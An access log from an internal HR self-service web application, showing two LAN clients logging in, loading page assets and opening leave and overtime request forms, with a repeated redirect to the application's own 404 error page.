192.168.12.33 - - [03/Sep/2025:09:22:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.33 - - [03/Sep/2025:09:22:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.33 - - [03/Sep/2025:09:22:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.33 - - [03/Sep/2025:09:22:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.33 - - [03/Sep/2025:09:22:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.33 - - [03/Sep/2025:09:22:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.33 - - [03/Sep/2025:09:22:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.33 - - [03/Sep/2025:09:22:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.33 - - [03/Sep/2025:09:22:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10351 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10351
192.168.12.33 - - [03/Sep/2025:09:22:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 18763 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 18763
192.168.12.33 - - [03/Sep/2025:09:22:56 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 5525 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [03/Sep/2025:09:22:56 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 5525
192.168.11.148 - - [03/Sep/2025:09:26:23 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.11.148 - - [03/Sep/2025:09:26:23 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:26:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427
192.168.11.148 - - [03/Sep/2025:09:26:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:26:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323
192.168.11.148 - - [03/Sep/2025:09:26:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:26:24 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.148 - - [03/Sep/2025:09:26:24 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:26:24 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.148 - - [03/Sep/2025:09:26:24 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:26:24 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:26:24 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.148 - - [03/Sep/2025:09:26:22 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.148 - - [03/Sep/2025:09:26:22 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:26:24 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.148 - - [03/Sep/2025:09:26:24 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:26:59 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:26:59 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.148 - - [03/Sep/2025:09:27:05 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.148 - - [03/Sep/2025:09:27:05 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:27:06 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.11.148 - - [03/Sep/2025:09:27:06 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:27:06 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.11.148 - - [03/Sep/2025:09:27:06 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:27:06 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:27:06 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.11.148 - - [03/Sep/2025:09:27:06 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:27:06 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.11.148 - - [03/Sep/2025:09:27:06 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:27:06 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.148 - - [03/Sep/2025:09:27:06 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:27:06 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.11.148 - - [03/Sep/2025:09:27:06 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:27:06 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.11.148 - - [03/Sep/2025:09:27:06 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.11.148 - - [03/Sep/2025:09:27:06 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:27:06 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.148 - - [03/Sep/2025:09:27:06 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:27:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.148 - - [03/Sep/2025:09:27:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:27:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:27:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.148 - - [03/Sep/2025:09:27:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.148 - - [03/Sep/2025:09:27:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:27:08 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697
192.168.11.148 - - [03/Sep/2025:09:27:08 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:27:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:27:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.148 - - [03/Sep/2025:09:27:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.148 - - [03/Sep/2025:09:27:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:27:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.148 - - [03/Sep/2025:09:27:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:27:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:27:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.148 - - [03/Sep/2025:09:28:00 +0800] "GET /eHR/js/date.js HTTP/1.1" 304 -
192.168.11.148 - - [03/Sep/2025:09:28:00 +0800] "GET /eHR/js/date.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:28:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.148 - - [03/Sep/2025:09:28:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:28:00 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.11.148 - - [03/Sep/2025:09:28:00 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:28:00 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:28:00 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242
192.168.11.148 - - [03/Sep/2025:09:27:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.148 - - [03/Sep/2025:09:27:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:28:00 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 304 -
192.168.11.148 - - [03/Sep/2025:09:28:00 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:28:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:28:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.148 - - [03/Sep/2025:09:28:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051
192.168.11.148 - - [03/Sep/2025:09:28:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:28:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 10708 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:09:28:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 10708
